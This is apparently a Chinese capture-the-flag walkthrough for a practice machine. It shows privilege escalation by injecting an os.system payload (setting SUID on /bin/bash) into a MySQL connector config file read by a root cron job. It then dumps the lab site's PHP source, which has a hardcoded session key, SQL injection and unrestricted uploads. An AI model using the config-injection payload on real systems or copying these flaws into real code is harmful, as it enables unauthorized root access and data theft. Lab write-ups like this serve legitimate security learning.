47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
cat: /etc/cron.weekly: Is a directory
darksoul@disguise:~$ crontab -l
no crontab for darksoul
上传pspy64
进行查看:
发现root定时执行任务,查看一下:
darksoul@disguise:/tmp$ ls -la /opt/query.py
-rw-r--r-- 1 root root 870 Apr 1 09:56 /opt/query.py
darksoul@disguise:/tmp$ cat /opt/query.py
import mysql.connector
import sys
def main():
if len(sys.argv) != 2:
print("Usage: python query.py <configfile>")
sys.exit(1)
cnf = sys.argv[1]
try:
conn = mysql.connector.connect(read_default_file=cnf)
cursor = conn.cursor()
query = 'SELECT COUNT(*) FROM users'
cursor.execute(query)
results = cursor.fetchall()
print(f"users count:{results[0][0]}")
query = 'SELECT COUNT(*) FROM products'
cursor.execute(query)
results = cursor.fetchall()
print(f"products count:{results[0][0]}")
except mysql.connector.Error as err:
print(f"db connect error: {err}")
finally:
if 'cursor' in locals():
cursor.close()
if 'conn' in locals() and conn.is_connected():
conn.close()
if __name__ == "__main__":
main()
darksoul@disguise:/tmp$ cat /home/darksoul/config.ini
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
配置文件在家目录下,毫无疑问可以进行读写,不行的话就把它删掉重建,尝试利用配置文件进行提权。。。
发现引用了一个python的库,看一下版本,是否存在相关的漏洞:
darksoul@disguise:/tmp$ pip list
Package Version
---------------------- -------------
certifi 2018.8.24
chardet 3.0.4
httplib2 0.11.3
idna 2.6
mysql-connector-python 8.0.33
pip 24.0
protobuf 3.20.3
pycurl 7.43.0.2
PySimpleSOAP 1.16.2
python-apt 1.8.4.3
python-debian 0.1.35
python-debianbts 2.8.2
reportbug 7.5.3+deb10u2
requests 2.21.0
setuptools 68.0.0
six 1.12.0
urllib3 1.24.1
wheel 0.42.0
CVE-2025-21548
这利用到了一个cve漏洞,详情可以参考:
- https://dev.mysql.com/doc/connector-python/en/connector-python-connectargs.html
- https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247487315&idx=1&sn=4a145deeb3c9c632593bb92f6a88d217&poc_token=HMWrVWij15l_XHSHpC-0tgfekMW92f-IIleMzzxH
[incorrect_config]
user=root
password=mypass
database=cpydata
port=int(3306)
allow_local_infile=__import__('os').system('calc')
尝试利用进行提权:
darksoul@disguise:~$ cat config.ini
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
darksoul@disguise:~$ mv config.ini config.ini.bak
darksoul@disguise:~$ vi config.ini
darksoul@disguise:~$ nano config.ini
darksoul@disguise:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
darksoul@disguise:~$ cat config.ini
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('chmod +s /bin/bash')
过一会等定时任务执行即可!
一些有意思的源代码!!!
感谢大佬的靶场,学到了很多,是个很有意思的靶场!!!!
darksoul@disguise:/var/www/dark# ls -la
total 76
drwxr-xr-x 4 www-data www-data 4096 Apr 2 04:39 .
drwxr-xr-x 4 root root 4096 Mar 31 21:07 ..
-rw-r--r-- 1 root root 905 Mar 31 23:01 captcha.php
-rw-r--r-- 1 root root 95 Apr 1 03:58 config.php
-rw-r--r-- 1 root root 1736 Apr 1 21:24 functions.php
-rw-r--r-- 1 root root 660 Apr 1 05:13 image_handler.php
drwxr-xr-x 2 www-data www-data 4096 Jun 20 13:47 images
-rw-r--r-- 1 root root 1225 Apr 1 05:16 index.php
-rw-r--r-- 1 root root 2088 Apr 1 04:14 login.php
-rw-r--r-- 1 root root 237 Mar 31 22:00 logout.php
drwxr-xr-x 2 root root 4096 Apr 1 22:59 manager
-rw-r--r-- 1 root root 1142 Apr 1 21:29 profile.php
-rw-r--r-- 1 root root 4080 Apr 1 04:28 register.php
-rw-r--r-- 1 root root 4350 Mar 31 22:49 style1.css
-rw-r--r-- 1 root root 4474 Apr 1 03:40 style2.css
-rw-r--r-- 1 root root 2342 Apr 1 03:41 style3.css
-rw-r--r-- 1 root root 2801 Apr 1 04:43 style4.css
darksoul@disguise:/var/www/dark# cat register.php
<?php
include 'functions.php';
if($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = base64_encode($_POST['password']);
$captcha = $_POST['captcha'];
if(!verify_captcha($captcha)) {
$error = "验证码不正确,请重新输入";
generate_captcha();
} else {
$conn = db_connect();
// 检查用户名是否已存在
$check_stmt = $conn->prepare("SELECT id FROM users WHERE username = ?");
$check_stmt->bind_param("s", $username);
$check_stmt->execute();
$check_stmt->store_result();
if($check_stmt->num_rows > 0) {
$error = "用户名已存在,请选择其他用户名";
generate_captcha();
} else {
$stmt = $conn->prepare("INSERT INTO users (username, password, isAdmin) VALUES (?, ?, FALSE)");
$stmt->bind_param("ss", $username, $password);
if($stmt->execute()) {
$_SESSION['register_success'] = true;
header("Location: register.php");
generate_captcha();
exit();
} else {
$error = "注册失败: ".$conn->error;
generate_captcha();
}
$stmt->close();
}
$check_stmt->close();
$conn->close();
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>注册 - 暗黑商店</title>
<link rel="stylesheet" href="style2.css">
<?php if(isset($_SESSION['register_success'])): ?>
<meta http-equiv="refresh" content="3;url=login.php">
<?php endif; ?>
<script>
function validateForm() {
var username = document.forms["register"]["username"].value;
if(username.length > 8) {
alert("用户名不能超过8个字符");
return false;
}
return true;
}
</script>
</head>
<body>
<div class="auth-container">
<div class="auth-card">
<?php if(isset($_SESSION['register_success'])): ?>
<?php unset($_SESSION['register_success']); ?>
<div class="auth-success">
<h2 class="auth-title">注册成功!</h2>
<p>3秒后将跳转到登录页面...</p>
</div>
<?php else: ?>
<h2 class="auth-title">创建账号</h2>
<?php if(isset($error)): ?>
<div class="auth-error"><?php echo htmlspecialchars($error); ?></div>
<?php endif; ?>
<form name="register" method="post" onsubmit="return validateForm()">
<div class="auth-input-group">
<input type="text" class="auth-input" name="username" placeholder=" " required>
<label class="auth-input-label">用户名</label>
</div>
<div class="auth-input-group">
<input type="password" class="auth-input" name="password" placeholder=" " required>
<label class="auth-input-label">密码</label>
</div>
<div class="captcha-container">
<div class="auth-input-group" style="flex: 1">
<input type="text" class="auth-input" name="captcha" placeholder=" " required>
<label class="auth-input-label">验证码</label>
</div>
<img src="captcha.php" class="captcha-image" onclick="this.src='captcha.php?'+Math.random()">
</div>
<button type="submit" class="auth-button">注 册</button>
</form>
<div class="auth-footer">
已有账号? <a href="login.php" class="auth-link">立即登录</a>
</div>
<?php endif; ?>
</div>
</div>
</body>
</html>
darksoul@disguise:/var/www/dark# cat profile.php
<?php
include 'functions.php';
if(!isset($_COOKIE['dark_session'])) {
header("Location: login.php");
exit();
}
$username = get_dark_session($_COOKIE['dark_session']);
$isAdmin = is_admin($username);
?>
<!DOCTYPE html>
<html>
<head>
<title>个人中心 - 暗黑商店</title>
<link rel="stylesheet" href="style3.css">
</head>
<body>
<header>
<h1>暗黑商店</h1>
<nav>
<span>欢迎, <?php echo htmlspecialchars($username); ?>
<?php if($isAdmin): ?>(管理员)<?php endif; ?></span> |
<a href="index.php">首页</a> |
<?php if($isAdmin): ?>
<a href="manager/">管理后台</a> |
<?php endif; ?>
<a href="logout.php">退出</a>
</nav>
</header>
<div class="profile">
<h2>个人中心</h2>
<p>欢迎访问您的个人主页,这里可以查看和管理您的账户信息</p>
<?php if($isAdmin): ?>
<div class="admin-badge">
<p>您拥有系统管理员权限</p>
</div>
<?php endif; ?>
</div>
</body>
</html>
darksoul@disguise:/var/www/dark# cat captcha.php
<?php
session_start();
// Error reporting
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Verify GD
if (!extension_loaded('gd')) {
header('Content-Type: text/plain');
die('GD extension not loaded');
}
// Generate CAPTCHA code
$chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$captcha = substr(str_shuffle($chars), 0, 6);
$_SESSION['captcha'] = $captcha;
// Create image
$width = 120;
$height = 40;
$image = imagecreatetruecolor($width, $height);
if (!$image) {
header('Content-Type: text/plain');
die('Failed to create image');
}
// Colors
$bg = imagecolorallocate($image, 30, 30, 30);
$text = imagecolorallocate($image, 200, 200, 200);
imagefilledrectangle($image, 0, 0, $width, $height, $bg);
// Add text
$font = 5; // Built-in font
imagestring($image, $font, 10, 10, $captcha, $text);
// Output
header('Content-Type: image/png');
imagepng($image);
imagedestroy($image);
?>
darksoul@disguise:/var/www/dark# cat config.php
<?php
$DB_USER = 'dark_db_admin';
$DB_PASS = 'Str0ngPassw0d1***';
$DB_NAME = 'dark_shop';
?>
darksoul@disguise:/var/www/dark# cat functions.php
<?php
session_start();
include 'config.php';
function db_connect() {
global $DB_USER,$DB_PASS,$DB_NAME;
$conn = new mysqli('localhost', $DB_USER, $DB_PASS, $DB_NAME);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
return $conn;
}
function generate_captcha() {
$chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$captcha = substr(str_shuffle($chars), 0, 6);
$_SESSION['captcha'] = $captcha;
return $captcha;
}
function verify_captcha($input) {
return isset($_SESSION['captcha']) && strtoupper($input) === $_SESSION['captcha'];
}
function aes_encrypt($data, $key) {
return openssl_encrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA);
}
function aes_decrypt($data, $key) {
return openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA);
}
function set_dark_session($username, $isAdmin) {
$modified = 'bili' . $username;
$encrypted = openssl_encrypt($modified, 'AES-128-ECB', 'secret_key_2a8d32a', OPENSSL_RAW_DATA);
setcookie('dark_session', base64_encode($encrypted), 0, '/');
}
function get_dark_session($dark_session){
$encrypted = base64_decode($dark_session);
$decrypted = openssl_decrypt($encrypted, 'AES-128-ECB', 'secret_key_2a8d32a', OPENSSL_RAW_DATA);
return $username = substr($decrypted, 4);
}
function is_admin($username) {
$conn = db_connect();
$stmt = $conn->prepare("SELECT isAdmin FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows > 0) {
$row = $result->fetch_assoc();
return (int)$row['isAdmin'];
}
$stmt->close();
$conn->close();
return 0;
}
?>
darksoul@disguise:/var/www/dark# cat image_handler.php
<?php
include 'functions.php';
if(!isset($_GET['id'])) {
http_response_code(400);
exit('Invalid request');
}
$conn = db_connect();
$stmt = $conn->prepare("SELECT image FROM products WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows === 0) {
http_response_code(404);
exit('Image not found');
}
$product = $result->fetch_assoc();
$image_path = $product['image'];
if(!file_exists($image_path)) {
http_response_code(404);
exit('Image file not found');
}
$mime_type = mime_content_type($image_path);
header("Content-Type: $mime_type");
readfile($image_path);
?>
darksoul@disguise:/var/www/dark# cd manager
darksoul@disguise:/var/www/dark/manager# ls -la
total 16
drwxr-xr-x 2 root root 4096 Apr 1 22:59 .
drwxr-xr-x 4 www-data www-data 4096 Apr 2 04:39 ..
-rw-r--r-- 1 root root 1801 Apr 1 21:26 add_product.php
-rw-r--r-- 1 root root 830 Apr 1 22:59 index.php
darksoul@disguise:/var/www/dark/manager# cat add_product.php
<?php
include '../functions.php';
if(!isset($_COOKIE['dark_session'])){
header("Location: ../login.php");
exit();
}
$username = get_dark_session($_COOKIE['dark_session']);
$isAdmin = is_admin($username);
if(!$isAdmin) {
header("Location: ../login.php");
exit();
}
if($_SERVER['REQUEST_METHOD'] == 'POST') {
$name = $_POST['name'];
$description = $_POST['description'];
$price = $_POST['price'];
$uuid = bin2hex(random_bytes(16));
$ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
$new_filename = $uuid . '.' . $ext;
$image_path = 'images/' . $new_filename;
move_uploaded_file($_FILES['image']['tmp_name'], '../' . $image_path);
$conn = db_connect();
$sql = "INSERT INTO products (name, description, price, image) VALUES ('$name','$description','$price','$image_path')";
if ($conn->query($sql) === TRUE) {
echo "新商品添加成功,ID: " . $conn->insert_id;
} else {
echo "商品添加失败: " . $conn->error;
}
$conn->close();
header("Location: ../index.php");
exit();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>添加商品 - 暗黑商店</title>
<link rel="stylesheet" href="../style4.css">
</head>
<body>
<div class="auth-form">
<h2>添加商品</h2>
<form method="post" enctype="multipart/form-data">
<input type="text" name="name" placeholder="商品名称" required>
<textarea name="description" placeholder="商品描述" required></textarea>
<input type="number" step="0.01" name="price" placeholder="价格" required>
<input type="file" name="image" accept="image/*" required>
<button type="submit">添加商品</button>
</form>
</div>
</body>
</html>
参考
https://www.bilibili.com/video/BV1jbVizjEGE/